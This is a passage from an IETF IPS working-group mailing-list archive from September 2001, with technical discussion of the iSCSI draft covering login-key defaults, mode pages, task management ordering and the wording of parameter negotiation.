x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Thu Sep 27 07:26:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26416 for ; Thu, 27 Sep 2001 07:26:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RASWo23459 for ips-outgoing; Thu, 27 Sep 2001 06:28:32 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RASTP23450 for ; Thu, 27 Sep 2001 06:28:29 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id MAA216968 for ; Thu, 27 Sep 2001 12:28:22 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RASL457342 for ; Thu, 27 Sep 2001 12:28:22 +0200 Subject: Re: iscsi : default iscsi mode page settings - Consensus call To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 11:58:01 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 13:28:21 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, You ignore the fact that there might be SCSI level software that may want those values. Julo Santosh Rao , hp.com> ips@ece.cmu.edu Sent by: cc: owner-ips@ece. Subject: Re: iscsi : default iscsi mode page cmu.edu settings - Consensus call 27-09-01 04:02 Please respond to Santosh Rao David, By specifying that these values be read-only in mode pages, we have retained some of the complexity that lies in having to go across layers to communicate the defaults to the scsi layer, or alternatively to have the target's iscsi layer snoop for such mode sense commands and respond to them. I would prefer to see iscsi declare these fields as reserved in the iscsi definition of the mode pages [like is done in SPI-4 for FirstBurstSize] so that this issue does not arise at all. Thanks, Santosh > > If some aspect of the > > SCSI protocol requires that they be readable via a mode page, > > the mode page values will be read-only. #### santoshr.vcf has been removed from this note on September 27 2001 by Julian Satran From owner-ips@ece.cmu.edu Thu Sep 27 08:58:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA29303 for ; Thu, 27 Sep 2001 08:58:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RC20p27514 for ips-outgoing; Thu, 27 Sep 2001 08:02:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from apollo.pirus.com ([4.36.58.225]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RC1vP27505 for ; Thu, 27 Sep 2001 08:01:58 -0400 (EDT) Received: by apollo.pirus.com with Internet Mail Service (5.5.2650.21) id ; Thu, 27 Sep 2001 08:05:30 -0400 Message-ID: From: "Binford, Charles" To: ips@ece.cmu.edu Subject: RE: iscsi : default iscsi mode page settings - Consensus call Date: Thu, 27 Sep 2001 08:05:26 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I disagree that read only mode parameters goes against the semantics of mode parameter definitions. SCSI even has a special option to the mode sense command to allow an initiator to determine if a parameter is read only or read/write (changeable). That said, I still do not see a compelling reason to expose the login/text key value of firstBurstSize in the mode page. Charles Binford Pirus Networks 316.315.0382 x222 -----Original Message----- From: Sanjeev Bhagat (TRIPACE/Zoetermeer) [mailto:iscsi_t10@sanjeevbhagat.com] Sent: Thursday, September 27, 2001 5:29 AM To: Black_David@emc.com; Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings - Consensus call I am in favour of putting FirstBurstSize and MaxBurstSize in login/text keys but i object in removing it from SCSI mode Page. I am not sure if it is a good idea to keep SCSI mode page parameters as read only because it also goes against the semantics of mode parameter definitions. However it leads to a lot of complexities if an initiator is allowed to change mode parameters both by login keys as well as mode select command. I guess it is still a debatable issue. Sanjeev ----- Original Message ----- From: To: Cc: Sent: Thursday, September 27, 2001 12:59 AM Subject: iscsi : default iscsi mode page settings - Consensus call > My reading of this mail thread is that there is rough consensus > to negotiate/set FirstBurstSize and MaxBurstSize via iSCSI > login/text keys and only via such keys. If some aspect of the > SCSI protocol requires that they be readable via a mode page, > the mode page values will be read-only. Julian's objection to > this is noted - anyone else who objects to this should post to > the list. > > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > From owner-ips@ece.cmu.edu Thu Sep 27 08:58:39 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA29315 for ; Thu, 27 Sep 2001 08:58:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RCGZA28254 for ips-outgoing; Thu, 27 Sep 2001 08:16:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from apollo.pirus.com ([4.36.58.225]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RCGXP28248 for ; Thu, 27 Sep 2001 08:16:33 -0400 (EDT) Received: by apollo.pirus.com with Internet Mail Service (5.5.2650.21) id ; Thu, 27 Sep 2001 08:20:10 -0400 Message-ID: From: "Binford, Charles" To: ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values Date: Thu, 27 Sep 2001 08:19:59 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I strongly agree that EMDP should not "default" to 1. Two reasons: 1) as I recently argued on this thread, I think it is invalid for a protocol to define a "default" for a mode page - that's not how mode pages work. 2) **main reason** The whole concept of delivering data out order (for the normal I/O, not error recovery) buys a lot of complexity in both initiator and target for marginal "improvements" in buffer management and or performance. I'm not convinced most targets gain anything from sending or receiving normal I/O data out of order. Therefore I think it is a mistake for iSCSI for force a host to be able to handle the out of order case or else issue a mode select *every* time a new session starts up. Keep it SIMPLE. I fully agree with Santosh that the defaults for login keys should be conservative. Charles Binford Pirus Networks 316.315.0382 x222 -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 26, 2001 9:29 PM To: ips@ece.cmu.edu Subject: iscsi : iscsi parameter default values All, With the issue of mode page vs. login keys having [almost] drawn to a close, I would like to raise the below issues again, on the subject of default values for login keys and other iscsi parameters : * In keeping with traditional use of scsi mode pages, iscsi should not specify any default settings for any mode pages that continue to exist for iscsi. "Default values" for mode pages are target specific and should not be bound to the protocol draft. * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 :-< This implies that targets must be always prepared to deal with out of order data and initiators must be prepared to deal with out of order data, unless the initiator performs a mode select to disable it. [which defeats all the previous advantages gained thru mandating use of login keys for other negotiations.]. A default, if it were to exist, should be 0. (in-order, by default). * Conservative specification of defaults for login keys along the following lines : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, is an EnableCRN bit required at the transport layer ? If the device server capability is to be negotiated , I suggest this bit be moved to a SCSI ULP Mode Page such as the "Control Mode Page", through a T10 change as a part of the SCSI changes being driven by iscsi. Comments ? Thanks, Santosh Santosh Rao wrote: > There are the separate issues of : > > * iscsi's specification of defaults for its mode pages which is not in line with mode page > usage. This impacts the target's ability to enforce values other than the protocol > specified default, if the initiator were to not use mode sense/select. > > * default settings for login keys. > > * Is there a need for the "LUN Control Mode Page" and whether "Enable CRN" should be in a > transport specific mode page ? > > which need to be driven to closure as well. > > Regards, > Santosh From owner-ips@ece.cmu.edu Thu Sep 27 10:03:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01041 for ; Thu, 27 Sep 2001 10:03:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RCxaa00602 for ips-outgoing; Thu, 27 Sep 2001 08:59:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RCxZP00597 for ; Thu, 27 Sep 2001 08:59:35 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 27 Sep 2001 09:01:43 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD7B4@CORPMX14> From: Black_David@emc.com To: rsnively@Brocade.COM, ips@ece.cmu.edu Subject: RE: iSCSI 07-95 Comment 3 -Task Management Date: Thu, 27 Sep 2001 08:51:55 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Bob, that's not completely correct - to be precise, for the example I gave, there's text in SAM-2 that forbids the response from the aborted task from being presented to the Initiator after the Task Abort has completed successfully. If you want to suggest that the task should be executed and its response discarded, I would observe that the result would make task management much less useful because Task Abort becomes inherently unreliable (the Task can execute after being successfully Aborted). FWIW, FCP uses a Fibre Channel abort primitive to accomplish this sort of task abort rather than transmitting the SCSI Task Abort to the Target and achieves a similar result - there is no possibility of task execution after a successful Task Abort - it sounds like this is also in excess of SCSI's requirements if I understand what you wrote. The underlying issue here is that SAM-2 assumes a synchronous transport and hence a bunch of things that can "go wrong" with iSCSI's asynchronous and parallel transport in the area of task management simply can't occur in SAM-2's model of the world - the primary purpose of this restriction is to preserve SAM-2's model of the world in the area of task management so that task management behaves as SAM-2 leads one to expect. Thanks, --David > -----Original Message----- > From: Robert Snively [mailto:rsnively@brocade.com] > Sent: Wednesday, September 26, 2001 7:53 PM > To: 'Black_David@emc.com'; tdineen@redswitch.com; ips@ece.cmu.edu > Subject: RE: iSCSI 07-95 Comment 3 -Task Management > > > David, > > These are restrictions that you have placed on iSCSI that > are beyond those of SCSI. > > Bob > > > -----Original Message----- > > From: Black_David@emc.com [mailto:Black_David@emc.com] > > Sent: Wednesday, September 26, 2001 4:03 PM > > To: tdineen@redswitch.com; ips@ece.cmu.edu > > Subject: RE: iSCSI 07-95 Comment 3 -Task Management > > > > > > An implementation can choose when in time it chooses to > > execute the task management command, but the effects visible to > > the Initiator must be as if it was executed in CmdSN order > > For example, if an Abort Task passes the task that it is > > supposed to abort on a different connection and the Abort Task > > has a higher CmdSN, the Target may immediately respond to the > > Abort Task, but in that case, it MUST NOT execute the > > "aborted" task when it arrives. I agree that this could > > use some further explanation in the draft. > > > > --David > > > > --------------------------------------------------- > > David L. Black, Senior Technologist > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > black_david@emc.com Mobile: +1 (978) 394-7754 > > --------------------------------------------------- > > > > > > > -----Original Message----- > > > From: Thomas Dineen [mailto:tdineen@redswitch.com] > > > Sent: Tuesday, September 25, 2001 7:58 PM > > > To: ips@ece.cmu.edu; Thomas Dineen > > > Subject: iSCSI 07-95 Comment 3 > > > > > > > > > Gentle People: > > > > > > Section 3.1.5 on P64 > > > > > > "Task management commands must be executed > > > as if all the commands having a CmdSN lower or equal to the task > > > management CmdSN have been received by the target (i.e., > have to be > > > executed as if received for ordered delivery even when marked for > > > immediate delivery)." > > > > > > After reading this paragraph over several times I am still having > > > trouble > > > understanding what it means. Do you mean execute the command > > > immediately > > > while ignoring the normal order or execute the command in > the normal > > > commandSN order? > > > > > > Thomas Dineen > > > > > > From owner-ips@ece.cmu.edu Thu Sep 27 10:03:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01054 for ; Thu, 27 Sep 2001 10:03:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RDHTI01625 for ips-outgoing; Thu, 27 Sep 2001 09:17:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RDHSP01621 for ; Thu, 27 Sep 2001 09:17:28 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 27 Sep 2001 09:19:33 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD7B6@CORPMX14> From: Black_David@emc.com To: Julian_Satran@il.ibm.com, ips@ece.cmu.edu Subject: RE: iscsi : Data ACKs already been included into draft (?) Date: Thu, 27 Sep 2001 09:09:44 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, Given that you've described the 07-9x versions of the draft on your web site as near-final versions of the -08 draft to be submitted, I think it's fair to expect that they represent the rough consensus of the WG and not contain speculative additions. In other words - Santosh is right, that text should not be in 07-97 and needs to be removed or moved to a version that's clearly marked as not being on the main course of editing to produce the -08 version. Thanks, --David > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Wednesday, September 26, 2001 4:02 PM > To: Santosh Rao > Cc: Black_David@emc.com; ips@ece.cmu.edu > Subject: Re: iscsi : Data ACKs already been included into draft (?) > > > Santosh, > > What you see is an editor version and not the submission. I > did show only > how it will look. > The difference is in the range of 10 lines (probably even less in code > lines :-)). > No need to panic and shout. > > Julo > > > > > Santosh Rao > > ips@ece.cmu.edu (ips) > hp.com> cc: > Black_David@emc.com (David Black) > Sent by: Subject: iscsi : > Data ACKs already been included > owner-ips@ece. into draft (?) > > cmu.edu > > > > > > 26-09-01 21:21 > > Please respond > > to Santosh Rao > > > > > > > > > Julian & All, > > It looks like the Data ACK scheme you proposed has already > been included > into the Rev 7.97 draft !(?) I don't recollect the group > having reached > consensus on re-inclusion of this feature, nor consensus on > the mechanism > used for the data ack. Given this, why is the change already > present in > the draft ? > > I would like to request that any changes to the draft be > first posted to > the reflector for review and only upon its acceptance on the reflector > should it be included in the draft. Incorporating changes > into the draft > prior to their acceptance on the reflector is only going to > slow down the > stabilization of the draft further. > > At this late stage in the draft, every sentence modified must > be subject > to review prior to inclusion in the draft. > > Thanks, > Santosh > > -- > ################################# > Santosh Rao > Software Design Engineer, > HP, Cupertino. > email : santoshr@cup.hp.com > Phone : 408-447-3751 > ################################# > > > > From owner-ips@ece.cmu.edu Thu Sep 27 10:07:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01189 for ; Thu, 27 Sep 2001 10:07:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RDdt702919 for ips-outgoing; Thu, 27 Sep 2001 09:39:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lucy.trebia.com ([65.192.191.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RDdsP02914 for ; Thu, 27 Sep 2001 09:39:54 -0400 (EDT) Received: from trebia.com (188.sun6.dialup.G4.NET [216.177.30.188]) by lucy.trebia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id TJVWX1MR; Thu, 27 Sep 2001 09:44:17 -0400 Message-ID: <3BB32C56.32BD65AA@trebia.com> Date: Thu, 27 Sep 2001 09:40:38 -0400 From: James Smart Reply-To: james.smart@trebia.com X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Binford, Charles" CC: ips@ece.cmu.edu Subject: Re: iscsi : iscsi parameter default values References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I second the comments made by Charles. Most debates I've participated in for out of order delivery have been more theoretical than in practice. Given the tradeoff is significantly simpler/faster implementations for in-order delivery, especially at the low level hardware, I agree it should be EMDP=0; I also fully agree with the default login keys proposed by Santosh. -- James "Binford, Charles" wrote: > I strongly agree that EMDP should not "default" to 1. Two reasons: > > 1) as I recently argued on this thread, I think it is invalid for a protocol > to define a "default" for a mode page - that's not how mode pages work. > > 2) **main reason** The whole concept of delivering data out order (for the > normal I/O, not error recovery) buys a lot of complexity in both initiator > and target for marginal "improvements" in buffer management and or > performance. I'm not convinced most targets gain anything from sending or > receiving normal I/O data out of order. Therefore I think it is a mistake > for iSCSI for force a host to be able to handle the out of order case or > else issue a mode select *every* time a new session starts up. Keep it > SIMPLE. I fully agree with Santosh that the defaults for login keys should > be conservative. > > Charles Binford > Pirus Networks > 316.315.0382 x222 > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Wednesday, September 26, 2001 9:29 PM > To: ips@ece.cmu.edu > Subject: iscsi : iscsi parameter default values > > All, > > With the issue of mode page vs. login keys having [almost] drawn to a close, > I would like to > raise the below issues again, on the subject of default values for login > keys and other iscsi > parameters : > > * In keeping with traditional use of scsi mode pages, iscsi should not > specify any default > settings for any mode pages that continue to exist for iscsi. "Default > values" for mode > pages are target specific and should not be bound to the protocol > draft. > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 :-< > This implies that > targets must be always prepared to deal with out of order data and > initiators must be > prepared to deal with out of order data, unless the initiator performs > a mode select to > disable it. [which defeats all the previous advantages gained thru > mandating use of login > keys for other negotiations.]. A default, if it were to exist, should > be 0. (in-order, by > default). > > * Conservative specification of defaults for login keys along the > following lines : > MaxConnections = 1 > FMarker = "no" > InitialR2T = "yes" > BidiInitialR2T = "yes" > ImmediateData = "no" > DataPDULength = 16 > MaxOutstandingR2T = 1 > DataPDUInOrder = "yes" > ErrorRecoveryLevel = 0 > SessionType = "normal" > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, is an > EnableCRN bit > required at the transport layer ? If the device server capability is to > be negotiated , I > suggest this bit be moved to a SCSI ULP Mode Page such as the "Control > Mode Page", through a > T10 change as a part of the SCSI changes being driven by iscsi. > > Comments ? > > Thanks, > Santosh > > Santosh Rao wrote: > > > There are the separate issues of : > > > > * iscsi's specification of defaults for its mode pages which is not in > line with mode page > > usage. This impacts the target's ability to enforce values other than > the protocol > > specified default, if the initiator were to not use mode > sense/select. > > > > * default settings for login keys. > > > > * Is there a need for the "LUN Control Mode Page" and whether "Enable > CRN" should be in a > > transport specific mode page ? > > > > which need to be driven to closure as well. > > > > Regards, > > Santosh From owner-ips@ece.cmu.edu Thu Sep 27 10:11:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01277 for ; Thu, 27 Sep 2001 10:11:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RDbQ602760 for ips-outgoing; Thu, 27 Sep 2001 09:37:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RDbJP02753 for ; Thu, 27 Sep 2001 09:37:19 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 710F34F; Thu, 27 Sep 2001 15:37:16 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id OAA19800; Thu, 27 Sep 2001 14:37:15 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Thu, 27 Sep 2001 14:36:01 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 27 Sep 2001 14:36:01 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC104FF1BFD@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iscsi : numerical negotiation wording is ambiguous Date: Thu, 27 Sep 2001 14:37:14 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Julian, I and my collegues have always assumed that the answer to an offered parameter was the result of the negoitated value. This seems the most appropriate behaviour as it confirms the value that both parties will use (it certainly helps in debugging). Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, September 27, 2001 9:55 AM To: ips@ece.cmu.edu Subject: Re: iscsi : numerical negotiation wording is ambiguous Santosh, I understood what you wording means but I am not sure that we want all the side-effects. The negotiation as defined now allows both parties requester or responder to state their wishes and the LAW insatiate the result in both. Your wording means that the responder selects the value according to the rule. What if the responder is either a rogue or just a simple minded target. Let me give an example: I am building a simple minded target that has an 8K buffer and says always (has it wired) DataPDULength=8192 in its first Login response (that is his buffer). If an initiator sends him as a "offer" or as a "responder" 16192 then with the current wording things are fine and both will have settled to 8192. If the initiator sends an offer of 4096 and the target gives his (only thing he knows) 8192 it is still fine - both select 4096. With your wording some of the negotiations will fail since you assume that the rule should be expressed in building the answer and not in selecting the result. In the end in both case you have to do selections at both target and initiator but the current rule enables simple-minded prewired messages while your does not (the responder message defines the selection and the offerer has to check it). Sorry for this long message for such a simple question. Julo Santosh Rao cc: Sent by: Subject: Re: iscsi : numerical negotiation wording owner-ips@ece. is ambiguous cmu.edu 26-09-01 23:16 Please respond to Santosh Rao Julian, What is the responding party supposed to offer ? Is it supposed to determine the result of the negotiation (higher or lower value, as the case may be) and send that as its response ? Or, is it supposed to send in its numerical value and the initiator picks the higher or lower of the 2 ? This does'nt come across clear enough in the definition and is open to mis-interpretation. Please see the suggested re-word in its place. Thanks, Santosh Julian Satran wrote: > Santosh, > > I am missing something. The rule states what value both parties should have > after both have seen the two values. > Obviously we assume that no error occurs and the responder value is seen y > the offering party or the negotiation fails. > > What exactly is ambiguous about it? > > Julo > > > Santosh Rao > hp.com> cc: > Sent by: Subject: iscsi : numerical negotiation wording is > owner-ips@ece. ambiguous > cmu.edu > > > 26-09-01 19:59 > Please respond > to Santosh Rao > > > > Julian & All, > > The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 > reads : > > "In numerical negotiations, the offering and responding party state > a numerical value. The result of the negotiation is key dependent; > frequently the lower or the higher of the two values is used." > > The above definition is ambiguous, since it does not specify whether it is > the originator or the responder that computes the result of the > negotiation. > > i.e. Is it the responsibility of the target to pick the higher or lower of > the 2 values and respond with the result of the negotiation ? > > OR : > Is it the originator that has to pick the result of the negotiation > based on the key it sent and the key it got back ? > > I would suggest that the wording be clarified to indicate that the > responder picks the result of the negotiation and sends this result back > in its response for this key. > > Perhaps, some re-wording along the following lines may be in order : > > "In numerical negotiations, the offering party states a numerical > value, and the responding party states the result (operational value) > after the negotiation. The result of the negotiation is key > dependent; responder determines it based on the lower or the higher > of the two values - offering party's value, and what the responder > can support." > > Comments ? > > Regards, > Santosh > > -- > ################################# > Santosh Rao > Software Design Engineer, > HP, Cupertino. > email : santoshr@cup.hp.com > Phone : 408-447-3751 > ################################# #### santoshr.vcf has been removed from this note on September 27 2001 by Julian Satran From owner-ips@ece.cmu.edu Thu Sep 27 12:45:49 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06460 for ; Thu, 27 Sep 2001 12:45:48 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RFVef09846 for ips-outgoing; Thu, 27 Sep 2001 11:31:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RFMrP09259 for ; Thu, 27 Sep 2001 11:22:53 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f8RFMbh02245; Thu, 27 Sep 2001 11:22:37 -0400 (EDT) From: "Eddy Quicksall" To: "'Santosh Rao'" , Subject: RE: iscsi : iscsi parameter default values Date: Thu, 27 Sep 2001 11:22:23 -0400 Message-ID: <001401c14768$35f60110$0102a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <3BB28EE7.40BACA33@cup.hp.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I like your defaults below. But, section 5 says: The initial Login request MUST include the InitiatorName and SessionType key=value pairs. Since SessionType is REQUIRED, naming a default would imply a possible typo in the spec. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 26, 2001 10:29 PM To: ips@ece.cmu.edu Subject: iscsi : iscsi parameter default values All, With the issue of mode page vs. login keys having [almost] drawn to a close, I would like to raise the below issues again, on the subject of default values for login keys and other iscsi parameters : * In keeping with traditional use of scsi mode pages, iscsi should not specify any default settings for any mode pages that continue to exist for iscsi. "Default values" for mode pages are target specific and should not be bound to the protocol draft. * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 :-< This implies that targets must be always prepared to deal with out of order data and initiators must be prepared to deal with out of order data, unless the initiator performs a mode select to disable it. [which defeats all the previous advantages gained thru mandating use of login keys for other negotiations.]. A default, if it were to exist, should be 0. (in-order, by default). * Conservative specification of defaults for login keys along the following lines : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, is an EnableCRN bit required at the transport layer ? If the device server capability is to be negotiated , I suggest this bit be moved to a SCSI ULP Mode Page such as the "Control Mode Page", through a T10 change as a part of the SCSI changes being driven by iscsi. Comments ? Thanks, Santosh Santosh Rao wrote: > There are the separate issues of : > > * iscsi's specification of defaults for its mode pages which is not in line with mode page > usage. This impacts the target's ability to enforce values other than the protocol > specified default, if the initiator were to not use mode sense/select. > > * default settings for login keys. > > * Is there a need for the "LUN Control Mode Page" and whether "Enable CRN" should be in a > transport specific mode page ? > > which need to be driven to closure as well. > > Regards, > Santosh From owner-ips@ece.cmu.edu Thu Sep 27 13:32:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08114 for ; Thu, 27 Sep 2001 13:32:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8RGMlm12960 for ips-outgoing; Thu, 27 Sep 2001 12:22:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8RGMiP12952 for ; Thu, 27 Sep 2001 12:22:45 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id SAA221760 for ; Thu, 27 Sep 2001 18:22:37 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8RGMa4132190 for ; Thu, 27 Sep 2001 18:22:37 +0200 Subject: RE: iscsi : numerical negotiation wording is ambiguous To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 27 Sep 2001 19:22:56 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 27/09/2001 19:22:36 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu 